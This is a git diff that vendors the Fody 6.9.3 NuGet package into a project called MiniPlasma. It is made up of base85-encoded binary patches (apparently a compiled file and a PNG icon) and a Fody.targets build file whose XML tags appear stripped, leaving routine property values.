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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/build/Fody.targets b/MiniPlasma/packages/Fody.6.9.3/build/Fody.targets new file mode 100644 index 0000000..f6cc780 --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/build/Fody.targets @@ -0,0 +1,149 @@ + + + $(ProjectDir)FodyWeavers.xml + $(MSBuildThisFileDirectory)..\ + $(FodyPath)tasks\netstandard2.0 + $(FodyPath)tasks\net472 + $(FodyAssemblyDirectory)\FodyTasks.dll + $(DefaultItemExcludes);FodyWeavers.xsd + true + 15 + $([System.Version]::Parse($(MSBuildVersion)).Major) + AfterCompile + $(TargetsTriggeredByCompilation);FodyTarget + true + $(TreatWarningsAsErrors) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/MiniPlasma/packages/Fody.6.9.3/package_icon.png b/MiniPlasma/packages/Fody.6.9.3/package_icon.png new file mode 100644 index 0000000000000000000000000000000000000000..d27b17ae325ad5eb1a9a0cbf5dd9cdb9d0313b5e GIT binary patch literal 1755 zcmV<11|<23P)004R> z004l5008;`004mK004C`008P>0026e000+ooVrmw00004XF*Lt006O$eEU(800001 zb5ch_0Itp)=>Px#24YJ`L;(K){{a7>y{D4^000SaNLh0L01m_e01m_fl`9S#000Iu zNklO<>z+0nffWoX`|A9?g7P^EGi|rO zF+sA*ql^`eVnTVF@)MKbLbTT)#{0@80sZc!%DWi!zc3kU6Qoo5fpS^Ezm24zpa1`; zN#S3RXO;OTUPCu6=3SGcx*%Q3R~=kO&P4Gi$X?|NN7s^LL3z>yDSdMeG?3obi$2yV z-&xx0VY%`tuT6|3%;nxF#Mh4Ce><=7h;lB@bqE%>lJ!W~ z0c+`1z8wb_R;f})^Y4y`tOGG+3*+EaTm|_>IY`$K1*BQfjxip_PLKi@*&U(vTrA!` z%lFD};wA|28MB#=2(1ZO*fu^;C*mf^3|kjBNAO|mWleQBN*S1+4XV?u{IpKsvMw=A{y98|1}pZ4&bLw!9GF{fdiP-gTcWN>wkH z|K>yHqN%r}z<#Swao!QHkvP8K z@AKA^=RGL3O@Z%R01~R93{ScO1y>p8+I*7u^Zb- zm(Xay`hfQXV?UBC(LPD%%|dQo-Hhpkr2#U9n#t&a|ese xd2vjT5Q&40v@>=q3Aj#DnbMi5k-_Ls0a!othgGI3r0eMHvvT~U|GAUYcDHe zU)zehqFC@jSdx`sD4&oq$ zxbUm5N2na``07F6{|pL2Y~`}o3hgvM*}9zSbFy{PFoi~(!>Th`X|`AP8Hq?Fbkmzoh(f3j#X-jgeR$eXTMcR>wxIkF>H-|Tj(aN=?qc{2 zg&#sT1gCZF#tgk0LM1=||K>ylehr>#GnUOWp(R>olosgw!2m!;e1&$KUSepKgw?PzV3M{C1q2UN2>eX0 z9xz-ImQkuf5w{f;!VlZ(0Y8(g2SVW{BtZ}0euWFSjYd3l!yU#0e&&R01YY2Op^^Mo z%$fFTf{@VrN8O!voCPCIxi{r3A4@^wy}Ri7oUch}uc;JnH1Xr0A#jJnwr60F zX)k*)uXX?+ zZ~dj!(2bm)?FD=rM0Z(VS6|Opw*|@@Q81rr zG#3RNMz%N*z3JwT%{34$AZy~sML2FCer##4cEHp40B|3Nhgj_ksE}qqLM!a~UJ{_j z@^pcQ;|#3h>19iFSw{-xc(o@53a}EN4F-($w9khj+cL$nCy!?UZ9ZeU&Ij678DD3a?+ud;gRI2Y zbOH$&h1npqxE03t;q!G7V(Bysh6?5@I}$1?b$6so-J7vX2;N*k;=0tm1^Wy$u#-Yf zD3}{<=1oD!(~y149gq;JBA1H`3KD}gC-4WXB4`)XAB?NM)zX4}1xCz>Nn+0nvc29M zUpL0sh`BjxiET9Gm2d9_*4SNRULmAWtpI|>R7^-`x&R`FYm%jOUUN#v628$IAwk^^ ztHT}g4A*bNFNf)r-jBtn91$XupuLXPJ6a_rmjIbJYg zd@jMc1owhK5_=S#1Q#f zr8*sGe1R%8(52Me91!%03P4SP0Vsqnf)t9tAp`-6AnLF#S;kuKAN|4|E99ea9)>pvoWmI|Y=SBv^7!Z>CxOpLRlK7DK6=Z=uz=v( z34V&ebi(Lo!a9^W#*dljS@Ka&;X(^ODyA^U zTi_1$I-oFsi~w^65KRg=LNw4)Zq7&B&E1g|dM0oY*r9=(NGRI{+RR7WNR2cfm)byM zxQy7GN;vP#u;t#Q4MGvF(U;V_o3uHd!qSTt7;d34Y)T!5wuwpY64I&zP%pl4zv7;R zK7{ls;>az+4AdI%9aDJxY|ujJ(J;WF=YjGj6bGWE2#W583Y<>=41aKglDGWo+Fg#1}dJBxd0@xZIME3!f z5_lUu`U;AS!fMwTKJljMQVx(GV34vX7RIw2=xCj3yZaORGh_1dcS$ANZ;k?YC%2LlBXx zT6E09-Gq8>-kv6*NHjm1cQm0=z=wvVt6G!?Z81{wK?cFDx49K$M(T>N3k_kam%SB+ zn@~0uU1$hzz0BJp+=LQYcA>2dveuU2Ce%@=57se#xjRswk@^$*3}<3|Rf}r)HYU_! zkim*Yu4+*k$P5(k6OTf$T#4s=N_ZsiOq0 z{L!%99W}@t>2~O{fufKPx~j+85OsWH!hbH6@83w$s8yBqs$U_AH`Dnhmjg8s=QnSGtg?bb3bhYa| zT>?pjLY;`ejs)Vz3<~XnR6`-mp^=WG!*zUD;)PECKVX4Iy&>UHsNT#RNnzK;hZPvF z2DSiss5!w~0~8{EfHo+Yz%T-13G7E;DuGf06$Fj|=z#J8Qt<3GSm=bzDPozx<^&cI zXy|;V`u{2jLBUi#>Vd+jLOL34Cpz2F2Usm*sk!tZv=QaN{M?Av(nCP{ z0cO@lh|w(6j|vu!K&h0}G7n%jtOtkCCCE)1kr~ksBJe&v4oRu*qDjF2AefDopj^m; z$Do#<0mm)8qlf>2EO!;92-ZPMR?xcv4>sQqa5$<0&QF49fcXG}Ax=+$HQYZR0p3Bc zpiPf~A87d!a6H#B&ZUB>0Fec?1SM0ploe`*DgjC%hON+8fbNh}pHZHW7dr7Iuwv|l zdDsN)0qBJO1JD)S0oV>b1sH%jb0nxM>J2agr2y=WrUOhwivSKnCjiO_%tF^W5l92p zB4CBuNk_pbzoKM>BO@FcDnL$L1=Q}qEdprGok*k;iF6`J!?~*oXEouh29AOYr*5EG zL)v+dKty3qYYN+OC3qOYBM2_jL+oP_;ZG!-iGV+&N&t7@t|I(Of*&Gy71608I(I1S z#XYJ3&EejoCK7xGz$ZkLqOp`iV=0HmQVxx!tqI>1`0Kc?gzrlDVT2z6{C(UA!jB+) zDdEe2e~v37d>P>v5&lG?Kaub!68R%6Yc?0M&u>Bu1q83PTmX1q z0fr|nmH@0ZF9kT7NXrQPAY2a|i3Nu4mKZ)D{QG=t=XU~g5w@VEG3N&Y5rNksU%)db zg{7W+3@r%UVzKQj+=1w0DGlCmh(8=eLtNt>t|dSkiC_;&!CW;1+?x1o1CR!vEr4$a zkcRmx0^A-T4Lx8DcvFBh^oK3r%>dHS8%+Rj0g#5iaR9s}KpM3IEebgUq>&3~QAiAs zMy)}Mg4yN-xGQK;$PFM3`N9Qo4}di409rIW6S)Em0tpRkqbI;%*mKZuSlkX^B&_l@ zJjb*L7z_EFhUb<5fN>}gU_U5FL;eT`OWZ=dQsI8UYXd^glml7E0M%a(6kdCE&)a$y za-ig(^)=6hY_7QtN^p08Css_hAg2s~#72$Cl`0k5{0Mb+j+ABCq5i0kLZgLSNSs=p zt7Jk^V!lSpWJ_Y>Q6{4u5-HV6QMN{=W|fNc23dq!sbpkYg<7SN^kh^FtB|4i97ffj 